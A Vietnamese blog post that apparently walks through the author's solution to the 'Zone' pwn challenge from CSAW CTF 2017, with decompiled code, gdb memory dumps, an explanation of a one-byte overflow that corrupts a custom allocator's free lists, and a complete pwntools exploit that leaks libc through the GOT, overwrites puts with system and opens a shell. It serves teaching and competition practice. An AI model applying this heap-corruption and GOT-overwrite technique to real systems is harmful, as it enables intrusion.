Write Up PWN300-Zone CSAW CTF 2017

Chào mừng quay lại với blog của tôi.
______________________________

Cũng rất lâu rồi không có bài viết nào. Đang cảm thấy mình lười đi rất nhiều..........

Hôm nay sẽ cố gắng viết lại một bài write up mà bản thân mình thấy tâm đắc trong giải vừa rồi và cũng mất rất nhiều thời gian để hoàn thành nó.

Trở lại nội dung chính của bài viết, ở bài này chúng ta có 2 file: zone and libc-2.32.so

Mở file bằng IDA ta có nội dung code như sau:


Ban đầu đọc code tôi nhận thấy có một sự bế tắc, code khá là phức tạp và khó hiểu, các hàm giống y hệt nhau nhưng lại được tạo ở 2 địa chỉ khác nhau nên việc đọc code là rất vất vả.
Không dừng lại ở đó, để đọc được hết code là điểu không thể?
Nhận thấy điều đó tôi đã bỏ qua những phần nội dung có vẻ như không cần hiểu quá kỹ.
Các đoạn code trước dòng 29 có thể nói là khác phức tạp nhưng nhận thấy mình không thể can thiệp vào trình sử lý đó nên tạm thời tôi bỏ qua. Và chỉ sử dụng break point để khảo sát xem chương trình đã làm gì ở giai đoạn đó.

Đặt break point ở địa chỉ 0x0400C8F ta có:
gdb-peda$ x/20x $rbp-0x80
0x7fffffffdc60: 0x0000000000000040 0x00007ffff7ff5000
0x7fffffffdc70: 0x00007ffff7ff5000 0x0000000000000080
0x7fffffffdc80: 0x00007ffff7ff4000 0x00007ffff7ff4000
0x7fffffffdc90: 0x0000000000000100 0x00007ffff7ff3000
0x7fffffffdca0: 0x00007ffff7ff3000 0x0000000000000200
0x7fffffffdcb0: 0x00007ffff7ff2000 0x00007ffff7ff2000
0x7fffffffdcc0: 0x00000000004045f0 0x72156c3363106800
0x7fffffffdcd0: 0x00007fffffffddc0 0x0000000000000000
0x7fffffffdce0: 0x00000000004045f0 0x00007ffff7495830
0x7fffffffdcf0: 0x0000000000000000 0x00007fffffffddc8
gdb-peda$ x/20x 0x00007ffff7ff5000
0x7ffff7ff5000: 0x0000000000000040 0x00007ffff7ff5050
0x7ffff7ff5010: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5050: 0x0000000000000040 0x00007ffff7ff50a0
0x7ffff7ff5060: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5070: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5080: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5090: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/20x 0x00007ffff7ff4000
0x7ffff7ff4000: 0x0000000000000080 0x00007ffff7ff4090
0x7ffff7ff4010: 0x0000000000000000 0x0000000000000000
0x7ffff7ff4020: 0x0000000000000000 0x0000000000000000
0x7ffff7ff4030: 0x0000000000000000 0x0000000000000000
0x7ffff7ff4040: 0x0000000000000000 0x0000000000000000
0x7ffff7ff4050: 0x0000000000000000 0x0000000000000000
0x7ffff7ff4060: 0x0000000000000000 0x0000000000000000
0x7ffff7ff4070: 0x0000000000000000 0x0000000000000000
0x7ffff7ff4080: 0x0000000000000000 0x0000000000000000
0x7ffff7ff4090: 0x0000000000000080 0x00007ffff7ff4120
gdb-peda$ x/20x 0x00007ffff7ff3000
0x7ffff7ff3000: 0x0000000000000100 0x00007ffff7ff3110
0x7ffff7ff3010: 0x0000000000000000 0x0000000000000000
0x7ffff7ff3020: 0x0000000000000000 0x0000000000000000
0x7ffff7ff3030: 0x0000000000000000 0x0000000000000000
0x7ffff7ff3040: 0x0000000000000000 0x0000000000000000
0x7ffff7ff3050: 0x0000000000000000 0x0000000000000000
0x7ffff7ff3060: 0x0000000000000000 0x0000000000000000
0x7ffff7ff3070: 0x0000000000000000 0x0000000000000000
0x7ffff7ff3080: 0x0000000000000000 0x0000000000000000
0x7ffff7ff3090: 0x0000000000000000 0x0000000000000000


Đây là các vùng nhớ được cấp phát bằng map mmap(0LL, 0x1000uLL, 3, 33, -1, 0LL);

Sau một thời gian dài cố gắng để hiểu đoạn code phía dưới và rất là rối mắt nên đã có thời gian chán chả muốn làm........... và quay đi làm bài khác.........
Nhưng nhìn lại thì các anh em đồng đội đang trông chờ vào 300 điểm của mình thì lại quay lại khô máu với nó.
Trời không phụ lòng người trong lúc khó khăn nhất thì tự dưng ý tưởng nó lại đến. Tôi không đọc hết code nữa mà chỉ tập trung vào những gì mà mình input vào được sử lý ra sao và được lưu ở đâu.
Ngoài ra cũng chạy thử chương trình để xem nó hoạt động ra sao
1) Allocate block
2) Delete block
3) Write to last block
4) Print last block
5) Exit
Sơ lược về các chức năng thì hiểu như sau:

1) Allocate block ==> Tạo một block vào một vùng nhớ được cấp phát sẵn có side nằm trong 
vùng địa chỉ được cấp phát sẵn phù hợp với side: <= 0x40; <=0x80; <=0x100; <=0x200 
3) Write to last block
4) Print last block
==> 2 chức năng này là viết vào vùng nhớ hoặc đọc ra vùng nhớ của block vừa được tạo.
2) Delete block ==> Xóa block vừa được tạo khỏi list các block đã tạo.
Câu hỏi đặt ra là sau khi allocate block thì địa chỉ được lưu vào đâu.

int __fastcall sub_4042F8(__int64 a1, unsigned __int64 a2)
{
  int result; // eax@2

  if ( a2 > 0x40 )
  {
    if ( a2 > 0x80 )
    {
      if ( a2 > 0x100 )
      {
        if ( a2 > 0x200 )
          result = 0;
        else
          result = sub_40452C(a1);
      }
      else
      {
        result = sub_40450E(a1);
      }
    }
    else
    {
      result = sub_4044F0(a1);
    }
  }
  else
  {
    result = sub_4044D6(a1);
  }
  return result;
}
signed __int64 __fastcall sub_404262(__int64 a1)
{
  signed __int64 result; // rax@5
  __int64 v2; // [sp+10h] [bp-8h]@1

  v2 = *(_QWORD *)(a1 + 8);
  if ( v2 )
  {
    if ( *(_QWORD *)(v2 + 8) )
      *(_QWORD *)(a1 + 8) = *(_QWORD *)(v2 + 8);
    else
      *(_QWORD *)(a1 + 8) = 0LL;
    *(_QWORD *)(v2 + 8) = 0LL;
    result = v2 + 16;
  }
  else
  {
    result = 0LL;
  }
  return result;
}
Các block sẽ được tạo phù hợp với kích thước của nó.
Dưới đây là vùng nhớ của con trỏ trỏ tới vùng nhớ sẽ được dùng để cấp phát trước và sau khi Allocate:
gdb-peda$ x/20x $rbp-0x80
0x7fffffffdc60: 0x0000000000000040 0x00007ffff7ff5000
0x7fffffffdc70: 0x00007ffff7ff5000 0x0000000000000080
0x7fffffffdc80: 0x00007ffff7ff4000 0x00007ffff7ff4000
0x7fffffffdc90: 0x0000000000000100 0x00007ffff7ff3000
0x7fffffffdca0: 0x00007ffff7ff3000 0x0000000000000200
0x7fffffffdcb0: 0x00007ffff7ff2000 0x00007ffff7ff2000
0x7fffffffdcc0: 0x00000000004045f0 0x72156c3363106800
0x7fffffffdcd0: 0x00007fffffffddc0 0x0000000000000000
0x7fffffffdce0: 0x00000000004045f0 0x00007ffff7495830
0x7fffffffdcf0: 0x0000000000000000 0x00007fffffffddc8
gdb-peda$ x/20x 0x00007ffff7ff5000
0x7ffff7ff5000: 0x0000000000000040 0x00007ffff7ff5050
0x7ffff7ff5010: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5050: 0x0000000000000040 0x00007ffff7ff50a0
0x7ffff7ff5060: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5070: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5080: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5090: 0x0000000000000000 0x0000000000000000
Còn đây là sau khi tạo một block với side nhỏ hơn 0x40:
gdb-peda$ x/20x $rbp-0x80
0x7fffffffdc60: 0x0000000000000040 0x00007ffff7ff5050
0x7fffffffdc70: 0x00007ffff7ff5000 0x0000000000000080
0x7fffffffdc80: 0x00007ffff7ff4000 0x00007ffff7ff4000
0x7fffffffdc90: 0x0000000000000100 0x00007ffff7ff3000
0x7fffffffdca0: 0x00007ffff7ff3000 0x0000000000000200
0x7fffffffdcb0: 0x00007ffff7ff2000 0x00007ffff7ff2000
0x7fffffffdcc0: 0x00000000004045f0 0x0a6d8143c0c86c00
0x7fffffffdcd0: 0x00007fffffffddc0 0x0000000000000000
0x7fffffffdce0: 0x00000000004045f0 0x00007ffff7495830
0x7fffffffdcf0: 0x0000000000000000 0x00007fffffffddc8
gdb-peda$ x/20x 0x00007ffff7ff5000
0x7ffff7ff5000: 0x0000000000000040 0x0000000000000000
0x7ffff7ff5010: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5050: 0x0000000000000040 0x00007ffff7ff50a0
0x7ffff7ff5060: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5070: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5080: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5090: 0x0000000000000000 0x0000000000000000
Nhận thấy con trỏ tiếp theo đã được đổi từ 0x00007ffff7ff5000 thành 0x00007ffff7ff50a0.

Sau khi Delete block thì vùng nhớ lại được trả lại như ban đầu.

==> Liệu có thể sử dụng một kỹ thuật unlink?????

void __fastcall sub_40436C(__int64 a1, __int64 a2)
{
  unsigned __int64 v2; // rax@2
  __int64 addr; // [sp+18h] [bp-8h]@2

  if ( a2 )
  {
    addr = a2 - 16;
    printf("Free size %lu\n", *(_QWORD *)(a2 - 16), a2);
    v2 = *(_QWORD *)(a2 - 16);
    if ( *(_QWORD *)(a2 - 16) == 0x80LL )
    {
      sub_404570(a1, addr);
    }
    else if ( v2 > 0x80 )
    {
      if ( v2 == 0x100 )
      {
        sub_40459A(a1, addr);
      }
      else
      {
        if ( v2 != 512 )
LABEL_13:
          exit(-1);
        sub_4045C4(a1, addr);
      }
    }
    else
    {
      if ( v2 != 64 )
        goto LABEL_13;
      sub_40454A(a1, addr);
    }
  }
}
Nhận thấy khi delete thì hệ thông không kiểm tra size mà người dùng nhập mà kiểu tra size của vùng nhớ được dùng. Dẫn tới nếu ta làm thay đổi được size của một vùng nhớ này thành size của một vùng nhớ khác thì có thể làm thay đổi cấu trúc của chức năng delete ==> unlink.

          for ( i = 0LL; i <= size; ++i )
          {
            HIDWORD(v8) = read(0, &buf, 1uLL);
            if ( HIDWORD(v8) == -1 )
              exit(-1);
            if ( buf == 10 )
              break;
            *s++ = buf;
          }
Trên là điểm yếu của chức năng write to last block  ta có thể nhập vào số byte nhiều hơn kích thước của block là 1 byte.

Trong trường hợp này tôi đã Allocate một block có kích thước 0x40 rồi ghi đè lên vùng nhớ của block tiếp theo size 0x80. Tiếp túc Allocate một block có kích thước là 0x40 để sử dụng block này để unlink.

gdb-peda$ x/20x 0x00007ffff7ff5000
0x7ffff7ff5000: 0x0000000000000040 0x0000000000000000
0x7ffff7ff5010: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5050: 0x0000000000000080 0x00007ffff7ff50a0
0x7ffff7ff5060: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5070: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5080: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5090: 0x0000000000000000 0x0000000000000000
Delete block vừa được tạo ta có kết quả như sau:
gdb-peda$ x/20x 0x7fffffffdc60
0x7fffffffdc60: 0x0000000000000040 0x00007ffff7ff50a0
0x7fffffffdc70: 0x00007ffff7ff5000 0x0000000000000080
0x7fffffffdc80: 0x00007ffff7ff5050 0x00007ffff7ff4000
0x7fffffffdc90: 0x0000000000000100 0x00007ffff7ff3000
0x7fffffffdca0: 0x00007ffff7ff3000 0x0000000000000200
0x7fffffffdcb0: 0x00007ffff7ff2000 0x00007ffff7ff2000
0x7fffffffdcc0: 0x00000000004045f0 0x1c0845bb54163500
0x7fffffffdcd0: 0x00007fffffffddc0 0x0000000000000000
0x7fffffffdce0: 0x00000000004045f0 0x00007ffff7495830
0x7fffffffdcf0: 0x0000000000000000 0x00007fffffffddc8
Nếu cấp phát tiếp ta sẽ tạo được một block có kick thước 0x80 tại vùng nhớ trùng với vùng được tạo cho kích thước 0x40. Qua đó ghi đè vào vùng nhớ tại địa chỉ sẽ được dùng để tạo block tiếp theo.
Allocate 2 lần block có kích thước <= 0x40 ta sẽ có được một con trỏ vào một vùng nhớ như ý.
Ở đây tôi dùng puts got để lấy địa chỉ base. Sau đó ghi vào đó địa chỉ system ==> system('bin/sh').
File: solve.py

from pwn import *

puts = 0x607020
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# r = process('./zone')
libc = ELF('libc-2.23.so')
r = remote('pwn.chal.csaw.io', 5223)
r.recvline_startswith('5) ')
r.sendline('1')
r.sendline(str(0x40))
r.recv(1024)
r.sendline('3')
r.send('\x80'*0x41)
r.recvline_startswith('5)')
r.sendline('1')
r.sendline(str(0x40))
r.recvline_startswith('5) ')
r.sendline('2')
r.recvline_startswith('5) ')
r.sendline('1')
r.sendline(str(0x80))
r.recvline_startswith('5) ')
r.sendline('3')
r.sendline('a'*0x40+p64(0x40)+p64(puts-0x10))
r.recvline_startswith('5) ')
r.sendline('1')
r.sendline(str(0x40))
r.recvline_startswith('5) ')
r.sendline('1')
r.sendline(str(0x40))
r.recvline_startswith('5) ')
r.sendline('4')
txt = r.recvline().strip()
print txt
puts = int(txt[::-1].encode('hex'), 16)
base = puts - libc.symbols['puts']
system = base + libc.symbols['system']
log.info(hex(base))
log.info(hex(system))
r.recvline_startswith('5) ')
r.sendline('3')
r.sendline(p64(system))
# r.sendline('1')
# r.sendline('256')
# r.sendline('3')
# r.sendline('/bin/sh')
# r.sendline('4')
r.interactive()
chung96vn@ubuntu:~/Downloads/CTF-GAME/CSAW/pwn4$ python solve.py 
[*] '/home/chung96vn/Downloads/CTF-GAME/CSAW/pwn4/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn.chal.csaw.io on port 5223: Done
\x90晍\xa7\x7f
[*] 0x7fa78d92f000
[*] 0x7fa78d974390
[*] Switching to interactive mode
$ 1
$ 100
$ 3
$ /bin/sh
$ 4
$ cat flag
flag{d0n7_let_m3_g3t_1n_my_z0n3}
$  
___________________________________________________________

Trên đây là toàn bộ lời giải của tôi.
Nếu bạn có thắc mắc hoặc không hiểu xin hãy cmt hoặc liên hệ với tôi qua email: chung96vn@gmail.com nếu có thể tôi sẽ giúp bạn giải đáp thắc mặc.
___________________________________________________________
Hẹn gặp lại vào một lần gần nhất...........

Comments

Popular posts from this blog

Exploit deaslr through _dl_runtime_resolve

WriteUp PWN 500pts - PwC Hackaday

[Night St0rm CTF] - WRITE UP PWN